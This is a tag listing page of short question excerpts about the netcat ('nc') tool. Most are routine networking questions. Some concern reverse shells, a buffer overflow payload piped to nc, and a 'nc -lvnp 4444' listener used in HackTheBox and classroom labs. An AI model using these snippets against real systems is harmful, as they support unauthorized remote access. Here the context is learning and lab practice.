Skip to main content

Questions tagged [nc]

`nc` is the "network `cat`" program, connecting Unix pipe I/O to TCP and UDP sockets.

-1 votes
1 answer
52 views

FreeBSD Reverse Shell Command Issue: Ambiguous Output Redirect Error

I’ve been experimenting with penetration testing recently, and I need to use reverse shell techniques for testing. I’ve previously used reverse shell on Ubuntu with the following command: /bin/bash -i ...
HsingLI's user avatar
  • 11
12 votes
1 answer
2k views

Odd inconsistency between executing and sourcing Bash script

I know this is not a very descriptive title (suggestions are welcome), but the fact is that I've been pulling my hair over this for hours and I have no clue where the root of the problem might lie. I ...
mesr's user avatar
  • 407
0 votes
1 answer
51 views

Redirect command options to a file

From the following nc command,i would like to redirect source-server.fqdn name to the output file. By default nc command is not returning the source-server.fqdn in the output. nc -zv -s source-server....
u512201's user avatar
0 votes
1 answer
960 views

Redirect output of current script to a socket

I am trying to debug a shell script executing on a remote server, where I do not have access to the standard output of the script. Can I redirect the output to go over a socket?
rgov's user avatar
  • 253
0 votes
0 answers
37 views

Why do udp requests fail temporarily

I've a UDP web server, which bound to the port 10000. I just deployed it on the server 172.20.0.10. Then I tried to scan the port nc -v -z -w2 -u 172.20.0.10 10000, it seems that everyting is OK. The ...
Yves's user avatar
  • 3,331
0 votes
0 answers
78 views

finger daemon / nc fowarding error

For an assignment I'm trying to properly send a buffer overflow exploit with ncat in order gain root access on a vulnerable machine set up by the professor. I feel I created my egg right but I keep ...
Jacob ricondo's user avatar
0 votes
1 answer
79 views

Weird behaviour of bash in Kali Terminal (Qt I think) - piping to nc ends with awaiting input forever

I've been trying to pipe bytecode to netcat (nc) like this: python3 -c "import sys;bof='a'*16;bof2='a'*8;sys.stdout.buffer.write(bof.encode('ascii')+b'\xef\xbe\xad\xde'+bof2.encode('ascii')+b'\...
Sir Muffington's user avatar
1 vote
0 answers
636 views

Basic webserver supporting post+get (using curl and netcat)

Sorry if the question's title isn't clear about the objective of this question. I was able to make a respond-only webserver using Bash only; when it gets a curl post request, it returns results no ...
Daniella Mesquita's user avatar
0 votes
2 answers
891 views

netcat in systemd service resets

I am using netcat to connect to a server over TCP and continuously pipe the data received to file. nc 10.0.2.2 3456 > file.data When running this from terminal or a script it stays connected I want ...
abnsosl's user avatar
1 vote
0 answers
1k views

nc -lvnp (port) Non-responsive w/ PHP Reverse Shell til closed

I am currently working on Machine's on HackTheBox. I've used nc -lvnp (port) quite a bit and i've never ran into this issue: $nc -lvnp 4444 listening on [any] 4444 .... connect to [my IP] from (...
Adam Carson's user avatar
2 votes
0 answers
713 views

Is there any way to send request via authenticated proxy in OpenBSD netcat (nc)?

I am using following command using the nc to connect to my server via proxy (localhost:8080). But this proxy is authenticated. I am not sure how to pass the auth details. Pls. note this is older ...
Simplecode's user avatar
-1 votes
1 answer
2k views

How to make nc listen for remote connections

I'm trying to listen for a remote connection but nc keeps giving me this error: Error: Couldn't setup listening socket (err=-3) This is the command I used: nc -lvnp port_number -s my_public_ip
Gamer Spirit's user avatar
0 votes
0 answers
126 views

Userspace solution to use store data and create a UDP server

I'm trying to come up with a good way manage an intermittently connected device that I'm using for a research project. It's a sensor that goes in and out of the water. While under water, of course, ...
b degnan's user avatar
  • 111
0 votes
1 answer
127 views

Add reponse to the Listening port created with nc -l localhost <some port>

How can I setup a functionality to a listening port created using the nc -l command. I want my server to respond with a pass after connection
Arshpreet Singh's user avatar
0 votes
3 answers
81 views

Conditional `if` with command that doesn't respond in else

I have the following command line, which should return the value 1 in case of, by means of nc, check communication with the IP and Port in question: /bin/nc -z 10.102.10.22 10003 > /dev/null &&...
Fco Javier Balón's user avatar

15 30 50 per page
1
2 3 4 5 6